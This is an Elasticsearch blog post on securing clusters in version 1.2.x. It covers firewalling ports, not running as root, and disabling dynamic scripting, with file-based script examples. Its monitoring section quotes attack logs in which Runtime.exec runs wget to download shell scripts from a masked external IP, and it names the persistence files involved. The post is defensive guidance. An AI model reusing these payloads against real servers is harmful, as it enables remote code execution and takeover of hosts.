At Elasticsearch, we take security very seriously. We’ve consistently documented that outside access to Elasticsearch clusters be restricted, but with 1.2.x we decided to err on the safe side and change our default settings. In this blog post, I’ll cover the changes we’ve made to make your Elasticsearch nodes more secure, how you can protect yourself and how to monitor for attacks.
In case you are wondering, these issues are also documented on our security issues page. You can always use the same page to report security issues with any Elasticsearch product.
To start there are three steps you should immediately take to protect yourself when running Elasticsearch:
1. Don’t run Elasticsearch open to the public
Elasticsearch is not designed to be a public facing service, it’s intended to be used by your application via the API. By exposing Elasticsearch to the world you run the risk of denial-of-service attacks if a malicious user discovers your production Elasticsearch system. In addition, prior to the 1.2.x release an attacker can use dynamic scripting to perform arbitrary code execution on the machine that Elasticsearch is hosted on if Elasticsearch is open to the public.
Because of this, it is highly recommended that Elasticsearch be run from behind a firewall, allowing only your development application or Kibana servers to communicate with it. You should block both port 9200 as well as port 9300 from all machines not part of your development environment.
2. Don’t run Elasticsearch as root
Elasticsearch should always be run as a dedicated user rather than the root user. There are more details in our documentation.
3. Disabling dynamic scripting
In Elasticsearch 1.2.x, sending the request with a script string is now disabled by default. As we previously mentioned, we were erring on the safe side to ensure any Elasticsearch node globally available was not vulnerable. Why disable something so useful? Well, the issue with dynamic scripting is that it opens the full power of the JVM to execute arbitrary scripts. Scripts can be sent that read files from disk, execute commands through the java.lang.Runtime package, access the internals of Elasticsearch, and so on. Due to this security risk, we decided to default to disabling scripting sent in requests dynamically. You can refer to our documentation on scripting for more details.
What is dynamic scripting you ask? Dynamic scripting is when a script is provided as a string to a request, for example:
POST /imdb/_search?pretty
{
"query": {
"function_score": {
"query": {"match_all": {}},
"functions": [
{
"script_score": {
"script": "log(n * doc['popularity'].value)",
"params": {
"n": 1.5
}
}
}
]
}
}
}
In this example, searching for movies and using the popularity field inside the document to influence the score. Scripting is also used for the update API:
POST /imdb/movie/1/_update
{
"script": "ctx._source.viewings += 1"
}
With dynamic scripting disabled the alternative to this is to specify scripts for requests by placing them in a file on disk. Elasticsearch will automatically detect new and removed scripts when they are placed in the config/scripts directory. For example:
$ cd /path/to/es/installation
$ tree config
config
|-- elasticsearch.yml
|-- logging.yml
|-- scripts
|-- calculate-score.mvel
$ cat config/scripts/calculate-score.mvel
log(n * doc['popularity'].value)
Then this script can be used just like a dynamic script, but instead of specifying the entire script, specifying the script name and parameters:
POST /imdb/_search?pretty
{
"query": {
"function_score": {
"query": {"match_all": {}},
"functions": [
{
"script_score": {
"script": "calculate-score",
"params": {
"n": 1.5
}
}
}
]
}
}
}
This goes for all scripts that Elasticsearch uses. While this may sound a bit inconvenient, it provides better security for users using the scripting feature of Elasticsearch.
If you are running an Elasticsearch node prior to the 1.2.x release, you can make this change on your system by putting the following setting into elasticsearch.yml:
script.disable_dynamic: true
Then restart each node in your cluster. Dynamic scripting will now be disabled. If you are running Elasticsearch 1.2.x or later, dynamic scripting is already disabled by default.
Going forward with 1.3.0 release, we have plans for sandboxing the scripting environment. Stay tuned for another blog post about those changes!
How to monitor your environment for security breaches
We have recently seen malicious users taking advantage of publicly available Elasticsearch servers to gain access to the host systems. There are a few ways to monitor to see if you have been affected by this security breach.
The most recent attack is generating Elasticsearch logs similar to the following:
[Error: Runtime.getRuntime().exec("wget http://XXX.XXX.XX.XXX/.../4.sh -O /tmp/.4.sh").getInputStream(): Cannot run program "wget": error=2, No such file or directory]
Caused by: java.io.IOException: Cannot run program "wget": error=2, No such file or directory
[Error: Runtime.getRuntime().exec("wget http://XXX.XXX.XX.XXX/.../getsetup.hb").getInputStream(): Cannot run program "wget": error=2, No such file or directory]
After vulnerable systems have been exploited, the infected system is running code in the /boot/.iptables file as well as modified /etc/init.d scripts.
You should also monitor for abnormal system load and perform a thorough audit of your system.
Make sure that if you detect any exploited system that you take the steps described above to secure your Elasticsearch nodes once you have removed or re-installed the affected systems.
Questions?
We’re standing by on the Elasticsearch Users list.
Finally, a gentle reminder: We pride ourselves on responding quickly to vulnerability reports. We want to keep our users safe, so report early and often!